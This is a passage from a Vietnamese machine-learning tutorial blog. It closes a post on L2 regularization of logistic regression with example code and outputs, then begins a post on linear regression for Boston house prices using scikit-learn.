<div class="math">
\begin{align*}
\nabla R(\vec{\theta}) &= 2 \vec{\theta} \\
\nabla \mathcal{L}_{R\vec{\theta}} &= \nabla \mathcal{L}_\vec{\theta} + 2 \lambda \vec{\theta}
\end{align*}
</div>
<p>Nhiều tác giả sử dụng <span class="math">\(\frac{\lambda}{2}\)</span> trong toán hạng chính quy nhằm loại bỏ thừa số 2 ở kết quả trên.</p>
<p>Cuối cùng, chúng ta chỉ cần chỉnh lại hàm <tt class="docutils literal">loss</tt> và cách tính <tt class="docutils literal">grad</tt> trong đoạn mã ở phần 4 như sau:</p>
<div class="highlight"><pre><span></span><span class="c1"># encoding: utf-8</span>
<span class="kn">import</span> <span class="nn">math</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="k">def</span> <span class="nf">sigmoid</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="mf">1.0</span> <span class="o">/</span> <span class="p">(</span><span class="mf">1.0</span> <span class="o">+</span> <span class="n">math</span><span class="o">.</span><span class="n">exp</span><span class="p">(</span><span class="o">-</span><span class="n">x</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">dot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">theta</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">sum</span><span class="p">(</span><span class="n">x_i</span> <span class="o">*</span> <span class="n">theta_i</span> <span class="k">for</span> <span class="n">x_i</span><span class="p">,</span> <span class="n">theta_i</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">theta</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">f_prime</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
<span class="k">return</span> <span class="p">[(</span><span class="n">sigmoid</span><span class="p">(</span><span class="n">dot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">theta</span><span class="p">))</span> <span class="o">-</span> <span class="n">y</span><span class="p">)</span> <span class="o">*</span> <span class="n">x_i</span> <span class="k">for</span> <span class="n">x_i</span> <span class="ow">in</span> <span class="n">x</span><span class="p">]</span>
<span class="hll"><span class="k">def</span> <span class="nf">loss</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">lambda_</span><span class="p">,</span> <span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">):</span>
</span> <span class="n">s</span> <span class="o">=</span> <span class="mf">0.0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">ys</span><span class="p">)):</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">xs</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">ys</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">y_hat</span> <span class="o">=</span> <span class="n">sigmoid</span><span class="p">(</span><span class="n">dot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">theta</span><span class="p">))</span>
<span class="n">s</span> <span class="o">-=</span> <span class="n">y</span> <span class="o">*</span> <span class="n">math</span><span class="o">.</span><span class="n">log</span><span class="p">(</span><span class="n">y_hat</span><span class="p">)</span> <span class="o">+</span> <span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="n">y</span><span class="p">)</span> <span class="o">*</span> <span class="n">math</span><span class="o">.</span><span class="n">log</span><span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="n">y_hat</span><span class="p">)</span>
<span class="hll"> <span class="n">s</span> <span class="o">+=</span> <span class="n">lambda_</span> <span class="o">*</span> <span class="nb">sum</span><span class="p">(</span><span class="n">theta_i</span><span class="o">**</span><span class="mi">2</span> <span class="k">for</span> <span class="n">theta_i</span> <span class="ow">in</span> <span class="n">theta</span><span class="p">)</span>
</span> <span class="k">return</span> <span class="n">s</span>
<span class="c1"># Bảng đầu vào.</span>
<span class="n">xs</span> <span class="o">=</span> <span class="p">(</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>
<span class="p">)</span>
<span class="n">ys</span> <span class="o">=</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="c1"># Khởi tạo theta ngẫu nhiên.</span>
<span class="n">theta</span> <span class="o">=</span> <span class="p">[</span><span class="n">random</span><span class="o">.</span><span class="n">random</span><span class="p">()</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">-</span> <span class="mi">1</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">xs</span><span class="p">[</span><span class="mi">0</span><span class="p">]))]</span>
<span class="c1"># Định tốc độ học.</span>
<span class="n">alpha</span> <span class="o">=</span> <span class="mf">0.5</span>
<span class="hll"><span class="n">lambda_</span> <span class="o">=</span> <span class="mf">0.01</span>
</span>
<span class="c1"># Lặp xuống dốc.</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10000</span><span class="p">):</span>
<span class="c1"># Đạo hàm riêng đối với mỗi dòng đầu vào.</span>
<span class="n">grad</span> <span class="o">=</span> <span class="p">[</span><span class="n">f_prime</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">)]</span>
<span class="c1"># Lấy tổng các đạo hàm riêng lại với nhau.</span>
<span class="n">grad</span> <span class="o">=</span> <span class="p">[</span><span class="nb">sum</span><span class="p">(</span><span class="n">g</span><span class="p">[</span><span class="n">c</span><span class="p">]</span> <span class="k">for</span> <span class="n">g</span> <span class="ow">in</span> <span class="n">grad</span><span class="p">)</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">xs</span><span class="p">[</span><span class="mi">0</span><span class="p">]))]</span>
<span class="hll"> <span class="c1"># Chính quy hóa.</span>
</span><span class="hll"> <span class="n">grad</span> <span class="o">=</span> <span class="p">[</span><span class="n">g</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">lambda_</span> <span class="o">*</span> <span class="n">theta_i</span> <span class="k">for</span> <span class="n">theta_i</span><span class="p">,</span> <span class="n">g</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">grad</span><span class="p">)]</span>
</span> <span class="c1"># Cập nhật theta.</span>
<span class="n">theta</span> <span class="o">=</span> <span class="p">[</span><span class="n">theta_i</span> <span class="o">-</span> <span class="n">alpha</span> <span class="o">*</span> <span class="n">grad_i</span> <span class="k">for</span> <span class="n">theta_i</span><span class="p">,</span> <span class="n">grad_i</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">grad</span><span class="p">)]</span>
<span class="c1"># In kết quả.</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Theta'</span><span class="p">,</span> <span class="n">theta</span><span class="p">)</span>
<span class="hll"><span class="nb">print</span><span class="p">(</span><span class="s1">'Loss'</span><span class="p">,</span> <span class="n">loss</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">lambda_</span><span class="p">,</span> <span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">))</span>
</span><span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="mi">1</span><span class="p">:],</span> <span class="mi">1</span> <span class="k">if</span> <span class="n">sigmoid</span><span class="p">(</span><span class="n">dot</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">x</span><span class="p">))</span> <span class="o">></span> <span class="mf">0.5</span> <span class="k">else</span> <span class="mi">0</span><span class="p">)</span>
</pre></div>
<p>Khi thực thi đoạn mã này, ta nhận được kết quả sau:</p>
<pre class="literal-block">
Theta [-4.803833560502123, 3.0629812059187365, 3.0629812059187365]
Loss 0.9860477866020279
(0, 0) 0
(0, 1) 0
(1, 0) 0
(1, 1) 1
</pre>
<p>Nếu thay số bước xuống dốc thành <tt class="docutils literal">500</tt>, ta nhận được:</p>
<pre class="literal-block">
Theta [-4.803822026262376, 3.0629733507737535, 3.0629733507737535]
Loss 0.9860477866082961
(0, 0) 0
(0, 1) 0
(1, 0) 0
(1, 1) 1
</pre>
<p>Điều này chứng tỏ tham số mô hình <span class="math">\(\vec\theta\)</span> đã không còn thay đổi theo số bước xuống dốc như trong bài viết trước.</p>
<p>Tuy nhiên, ta lại có thêm một tham số tùy chỉnh <span class="math">\(\lambda\)</span>. Nếu giá trị của tham số này quá lớn, mô hình sẽ không khớp được với dữ liệu, nếu tham số này quá nhỏ, mô hình có thể sẽ quá khớp. Ví dụ, nếu ta thay <tt class="docutils literal">lambda_ = 1</tt> trong đoạn mã trên, mô hình của chúng ta sẽ không còn khớp với trường hợp (1, 1) nữa:</p>
<pre class="literal-block">
Theta [-0.355517379160847, 0.06436621020883249, 0.06436621020883249]
Loss 2.594999551083938
(0, 0) 0
(0, 1) 0
(1, 0) 0
(1, 1) 0
</pre>
</div>
<div class="section" id="tom-tat">
<h2>Tóm tắt</h2>
<p>Bài viết này giải quyết vấn đề về tham số mô hình liên tục thay đổi theo số bước xuống dốc mà chúng ta đã nhận ra trong bài số 4 trước đây. Phương pháp chính quy hóa mô hình có mục đích làm giảm sự quá khớp của mô hình với dữ liệu huấn luyện. Chúng ta nhắc đến hai hàm phổ dụng là L1-norm và L2-norm. Dựa vào công thức của L2-norm, chúng ta đã sửa lại mã của bài viết trước đây và khắc phục tình trạng đã nêu. Qua đó, chúng ta cũng thấy sự ảnh hưởng của tham số <span class="math">\(\lambda\)</span>. Một điều quan trọng khác mà chúng ta cần nhớ là hàm "phạt" là một sự sáng tạo, không chỉ dừng lại ở L1-norm, hay L2-norm.</p>
<p>Bài viết này cũng kết thúc loạt bài về máy học có giám sát. Trong bài viết kế chúng ta sẽ chuyển sang phương pháp học không giám sát.</p>
</div>
<div class="section" id="tai-lieu-doc-them">
<h2>Tài liệu đọc thêm</h2>
<ol class="arabic simple">
<li>Bài giảng về chính quy hóa của Andrew Ng trong môn Machine Learning tại <a class="reference external" href="https://www.coursera.org/learn/machine-learning">https://www.coursera.org/learn/machine-learning</a>.</li>
<li><a class="reference external" href="https://machinelearningcoban.com/2017/03/04/overfitting/">Bài 15: Overfitting</a> ở trang mạng <a class="reference external" href="https://machinelearningcoban.com">Machine Learning cơ bản</a> của Vũ Hữu Tiệp ở Đại học bang Pennsylvania (Pennsylvania State University), Hoa Kỳ.</li>
</ol>
</div>
<script type='text/javascript'>if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
mathjaxscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'AMS' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>Máy học phổ thông (6)2018-06-25T00:00:00+07:002018-06-25T00:00:00+07:00Nguyễn Thành Namtag:None,2018-06-25:2018/06/may-hoc-pho-thong-6.html<p>Bài viết này sẽ giới thiệu một số ví dụ ứng dụng hồi quy tuyến tính và hồi quy hậu cần. Trong hồi quy tuyến tính, chúng ta sẽ phỏng đoán giá nhà dựa vào số lượng phòng, và chỉ số truy cập đường cao tốc. Trong hồi quy hậu …</p><p>Bài viết này sẽ giới thiệu một số ví dụ ứng dụng hồi quy tuyến tính và hồi quy hậu cần. Trong hồi quy tuyến tính, chúng ta sẽ phỏng đoán giá nhà dựa vào số lượng phòng, và chỉ số truy cập đường cao tốc. Trong hồi quy hậu cần, chúng ta sẽ phân loại 3 loài hoa Iris dựa vào kích thước của cánh hoa và lá đài.</p>
<p>Chúng ta sẽ sử dụng <a class="reference external" href="http://scikit-learn.org">thư viện scikit-learn</a> trong bài viết này.</p>
<div class="section" id="nguon-du-lieu">
<h2>Nguồn dữ liệu</h2>
<p>Nguồn dữ liệu chúng ta sử dụng dựa trên hai nguồn dữ liệu phổ biến:</p>
<ol class="arabic simple">
<li>Dữ liệu giá nhà Boston từ <a class="reference external" href="http://archive.ics.uci.edu/ml/datasets/Housing">http://archive.ics.uci.edu/ml/datasets/Housing</a>.</li>
<li>Dữ liệu hoa Iris từ <a class="reference external" href="http://archive.ics.uci.edu/ml/datasets/Iris">http://archive.ics.uci.edu/ml/datasets/Iris</a>.</li>
</ol>
<p>Hai nguồn dữ liệu này đã được xử lý trước để phù hợp với mục đích bài viết. Sau đây là mã nguồn đã được dùng để xử lý dữ liệu.</p>
<div class="highlight"><pre><span></span><span class="c1"># encoding: utf-8</span>
<span class="kn">import</span> <span class="nn">csv</span>
<span class="kn">from</span> <span class="nn">sklearn</span> <span class="kn">import</span> <span class="n">datasets</span>
<span class="c1"># Boston</span>
<span class="n">xs</span><span class="p">,</span> <span class="n">ys</span> <span class="o">=</span> <span class="n">datasets</span><span class="o">.</span><span class="n">load_boston</span><span class="p">(</span><span class="n">return_X_y</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="n">rooms_highway</span> <span class="o">=</span> <span class="p">[(</span><span class="mf">1.0</span><span class="p">,</span> <span class="n">x</span><span class="p">[</span><span class="mi">5</span><span class="p">],</span> <span class="n">x</span><span class="p">[</span><span class="mi">8</span><span class="p">])</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">]</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'boston.csv'</span><span class="p">,</span> <span class="s1">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">writer</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">writer</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
<span class="n">writer</span><span class="o">.</span><span class="n">writerow</span><span class="p">((</span><span class="s1">'bias'</span><span class="p">,</span> <span class="s1">'rooms'</span><span class="p">,</span> <span class="s1">'road'</span><span class="p">,</span> <span class="s1">'price'</span><span class="p">))</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">row</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">rooms_highway</span><span class="p">):</span>
<span class="n">writer</span><span class="o">.</span><span class="n">writerow</span><span class="p">(</span><span class="n">row</span> <span class="o">+</span> <span class="p">(</span><span class="n">ys</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="p">))</span>
<span class="c1"># Iris</span>
<span class="n">xs</span><span class="p">,</span> <span class="n">ys</span> <span class="o">=</span> <span class="n">datasets</span><span class="o">.</span><span class="n">load_iris</span><span class="p">(</span><span class="n">return_X_y</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'iris.csv'</span><span class="p">,</span> <span class="s1">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">writer</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">writer</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
<span class="n">writer</span><span class="o">.</span><span class="n">writerow</span><span class="p">((</span><span class="s1">'sepal_length'</span><span class="p">,</span> <span class="s1">'sepal_width'</span><span class="p">,</span>
<span class="s1">'petal_length'</span><span class="p">,</span> <span class="s1">'petal_width'</span><span class="p">,</span> <span class="s1">'bias'</span><span class="p">,</span> <span class="s1">'type'</span><span class="p">))</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">row</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">xs</span><span class="p">):</span>
<span class="n">writer</span><span class="o">.</span><span class="n">writerow</span><span class="p">([</span><span class="n">x</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">row</span><span class="p">]</span> <span class="o">+</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="n">ys</span><span class="p">[</span><span class="n">i</span><span class="p">]])</span>
</pre></div>
</div>
<div class="section" id="gia-nha-o-boston">
<h2>Giá nhà ở Boston</h2>
<p><a class="reference external" href="/static/machine-learning/boston.csv">Tập dữ liệu giá nhà Boston</a> bao gồm hai biến độc lập là số phòng, và chỉ số gần đường cao tốc, và một biến phụ thuộc là giá nhà. Tập dữ liệu này có tổng cộng 506 dòng.</p>
<p>Mục tiêu của ví dụ này là dự đoán (predict) giá nhà. Do đó, chúng ta sẽ xử dụng mô hình hồi quy tuyến tính.</p>
<div class="section" id="mo-hinh-dau-tien">
<h3>Mô hình đầu tiên</h3>
<p>Mô hình đầu tiên giả sử rằng</p>
<div class="math">
\begin{equation*}
\text{Giá nhà} = \theta_1 \times \text{số phòng} + \theta_0
\end{equation*}
</div>
<p>Với giả sử mô hình như vậy, trước hết chúng ta sẽ cần tìm các hệ số của véc-tơ <span class="math">\(\vec{\theta}\)</span> qua quá trình <em>đào tạo</em> (train). Chúng ta sẽ làm việc này với <strong>một phần</strong> của tập dữ liệu. Lý do chúng ta chỉ sử dụng một phần, thay vì toàn bộ tập dữ liệu là vì chúng ta muốn <em>giữ lại</em> (hold out) một phần khác để <em>kiểm tra</em> (test) mô hình sau đó.</p>
<div class="highlight"><pre><span></span><span class="c1"># encoding: utf-8</span>
<span class="kn">from</span> <span class="nn">sklearn</span> <span class="kn">import</span> <span class="n">datasets</span><span class="p">,</span> <span class="n">linear_model</span><span class="p">,</span> <span class="n">model_selection</span>
<span class="c1"># Nạp bộ dữ liệu giá nhà Boston.</span>
<span class="n">xs</span><span class="p">,</span> <span class="n">ys</span> <span class="o">=</span> <span class="n">datasets</span><span class="o">.</span><span class="n">load_boston</span><span class="p">(</span><span class="n">return_X_y</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="c1"># Và lấy ra cột số phòng.</span>
<span class="n">rooms_highway</span> <span class="o">=</span> <span class="n">xs</span><span class="p">[:,</span> <span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="p">)]</span>
<span class="c1"># Chia bộ dữ liệu ra làm hai phần, 80% dùng để dạy mô hình.</span>
<span class="n">xs_train</span><span class="p">,</span> <span class="n">xs_test</span><span class="p">,</span> <span class="n">ys_train</span><span class="p">,</span> <span class="n">ys_test</span> <span class="o">=</span> <span class="n">model_selection</span><span class="o">.</span><span class="n">train_test_split</span><span class="p">(</span>
<span class="n">rooms_highway</span><span class="p">,</span> <span class="n">ys</span><span class="p">,</span> <span class="n">test_size</span><span class="o">=</span><span class="mf">0.2</span><span class="p">,</span> <span class="n">random_state</span><span class="o">=</span><span class="mi">42</span><span class="p">)</span>
<span class="c1"># Xác định mô hình là hồi quy tuyến tính.</span>
<span class="n">model</span> <span class="o">=</span> <span class="n">linear_model</span><span class="o">.</span><span class="n">LinearRegression</span><span class="p">()</span>
<span class="c1"># Khớp mô hình với dữ liệu dạy.</span>
<span class="n">model</span><span class="o">.</span><span class="n">fit</span><span class="p">(</span><span class="n">xs_train</span><span class="p">,</span> <span class="n">ys_train</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Train R^2 score: </span><span class="si">{}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">model</span><span class="o">.</span><span class="n">score</span><span class="p">(</span><span class="n">xs_train</span><span class="p">,</span> <span class="n">ys_train</span><span class="p">)))</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Test R^2 score: </span><span class="si">{}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">model</span><span class="o">.</span><span class="n">score</span><span class="p">(</span><span class="n">xs_test</span><span class="p">,</span> <span class="n">ys_test</span><span class="p">)))</span>
<span class="c1"># In ra 10 dòng giá trị kiểm tra.</span>
<span class="n">predicted</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">predict</span><span class="p">(</span><span class="n">xs_test</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Real: </span><span class="si">{}</span><span class="s1">, predicted: </span><span class="si">{}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">ys_test</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">predicted</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
</pre></div>
<p>Kết quả nhận được khi thực thi chương trình này sẽ giống như sau:</p>
<pre class="literal-block">
Train R^2 score: 0.505065835278
Test R^2 score: 0.370756923225
Real: 23.6, predicted: 23.732382926
Real: 32.4, predicted: 26.929502007
Real: 13.6, predicted: 19.6845684169
Real: 22.8, predicted: 20.4511291323
Real: 16.1, predicted: 22.6199350586
Real: 20.0, predicted: 22.4516656333
Real: 17.8, predicted: 19.0395356199
Real: 14.0, predicted: 21.4700939856
Real: 19.6, predicted: 21.9842505629
Real: 16.8, predicted: 20.0958936788
</pre>
<p>Điểm <span class="math">\(R^2\)</span> (R square score) có giá trị tốt nhất là <span class="math">\(1.0\)</span>.</p>
<p>Chúng ta thấy rằng điểm của mô hình với bộ dữ liệu dạy là <span class="math">\(0.505\)</span>, và với dữ liệu kiểm tra là <span class="math">\(0.371\)</span>. Nhìn lướt qua 10 giá trị trong bộ dữ liệu kiểm tra, ta thấy rằng độ sai lệch của giá trị dự đoán và giá trị thực không quá cao.</p>
</div>
<div class="section" id="mo-hinh-thu-hai">
<h3>Mô hình thứ hai</h3>
<p>Mô hình thứ hai giả sử rằng</p>
<div class="math">
\begin{equation*}
\text{Giá nhà} = \theta_2 \times \text{số phòng} + \theta_1 \times \text{chỉ số gần đường} + \theta_0
\end{equation*}
</div>
<p>Tương tự như mã nguồn ở phần trên, chúng ta chỉ thay đổi một chi tiết nhỏ.</p>
<div class="highlight"><pre><span></span><span class="c1"># encoding: utf-8</span>
<span class="kn">from</span> <span class="nn">sklearn</span> <span class="kn">import</span> <span class="n">datasets</span><span class="p">,</span> <span class="n">linear_model</span><span class="p">,</span> <span class="n">model_selection</span>
<span class="c1"># Nạp bộ dữ liệu giá nhà Boston.</span>
<span class="n">xs</span><span class="p">,</span> <span class="n">ys</span> <span class="o">=</span> <span class="n">datasets</span><span class="o">.</span><span class="n">load_boston</span><span class="p">(</span><span class="n">return_X_y</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="c1"># Và lấy ra hai cột số phòng, và chỉ số gần đường.</span>
<span class="n">rooms_highway</span> <span class="o">=</span> <span class="n">xs</span><span class="p">[:,</span> <span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="mi">8</span><span class="p">)]</span>
<span class="c1"># Chia bộ dữ liệu ra làm hai phần, 80% dùng để dạy mô hình.</span>
<span class="n">xs_train</span><span class="p">,</span> <span class="n">xs_test</span><span class="p">,</span> <span class="n">ys_train</span><span class="p">,</span> <span class="n">ys_test</span> <span class="o">=</span> <span class="n">model_selection</span><span class="o">.</span><span class="n">train_test_split</span><span class="p">(</span>
<span class="n">rooms_highway</span><span class="p">,</span> <span class="n">ys</span><span class="p">,</span> <span class="n">test_size</span><span class="o">=</span><span class="mf">0.2</span><span class="p">,</span> <span class="n">random_state</span><span class="o">=</span><span class="mi">42</span><span class="p">)</span>
<span class="c1"># Xác định mô hình là hồi quy tuyến tính.</span>
<span class="n">model</span> <span class="o">=</span> <span class="n">linear_model</span><span class="o">.</span><span class="n">LinearRegression</span><span class="p">()</span>
<span class="c1"># Khớp mô hình với dữ liệu dạy.</span>
<span class="n">model</span><span class="o">.</span><span class="n">fit</span><span class="p">(</span><span class="n">xs_train</span><span class="p">,</span> <span class="n">ys_train</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Train R^2 score: </span><span class="si">{}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">model</span><span class="o">.</span><span class="n">score</span><span class="p">(</span><span class="n">xs_train</span><span class="p">,</span> <span class="n">ys_train</span><span class="p">)))</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Test R^2 score: </span><span class="si">{}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">model</span><span class="o">.</span><span class="n">score</span><span class="p">(</span><span class="n">xs_test</span><span class="p">,</span> <span class="n">ys_test</span><span class="p">)))</span>
<span class="c1"># In ra 10 dòng giá trị kiểm tra.</span>
<span class="n">predicted</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">predict</span><span class="p">(</span><span class="n">xs_test</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Real: </span><span class="si">{}</span><span class="s1">, predicted: </span><span class="si">{}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">ys_test</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">predicted</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
</pre></div>
<p>Kết quả nhận được khi thực thi chương trình này sẽ giống như sau:</p>
<pre class="literal-block">
Train R^2 score: 0.567849124316
Test R^2 score: 0.405470603973
Real: 23.6, predicted: 24.8754329851
Real: 32.4, predicted: 28.1205948465
Real: 13.6, predicted: 21.3963578154
Real: 22.8, predicted: 22.1078254754
Real: 16.1, predicted: 18.5643357112
Real: 20.0, predicted: 23.6867614067
Real: 17.8, predicted: 20.7976838087
Real: 14.0, predicted: 23.0535568772
Real: 19.6, predicted: 17.9743381395
Real: 16.8, predicted: 21.2224786844
</pre>
<p>Chúng ta thấy rằng điểm của mô hình thứ hai so với điểm của mô hình đầu tiên là cao hơn (<span class="math">\(0.568\)</span> so với <span class="math">\(0.505\)</span> và <span class="math">\(0.405\)</span> so với <span class="math">\(0.371\)</span>). Điều này dễ hiểu vì mô hình thứ hai sử dụng thêm biến độc lập chỉ số truy cập đường cao tốc. Dĩ nhiên nhà gần đường cao tốc thì sẽ có giá tốt hơn nhà xa đường cao tốc vì việc đi lại sẽ dễ dàng hơn. So sánh 10 giá trị dự đoán và giá trị thực ta cũng thấy rằng sai số nhìn chung là thấp hơn so với mô hình đầu tiên.</p>
</div>
<div class="section" id="nhan-xet">
<h3>Nhận xét</h3>
<p>Chúng ta có hai nhận xét chính sau:</p>
<ol class="arabic simple">
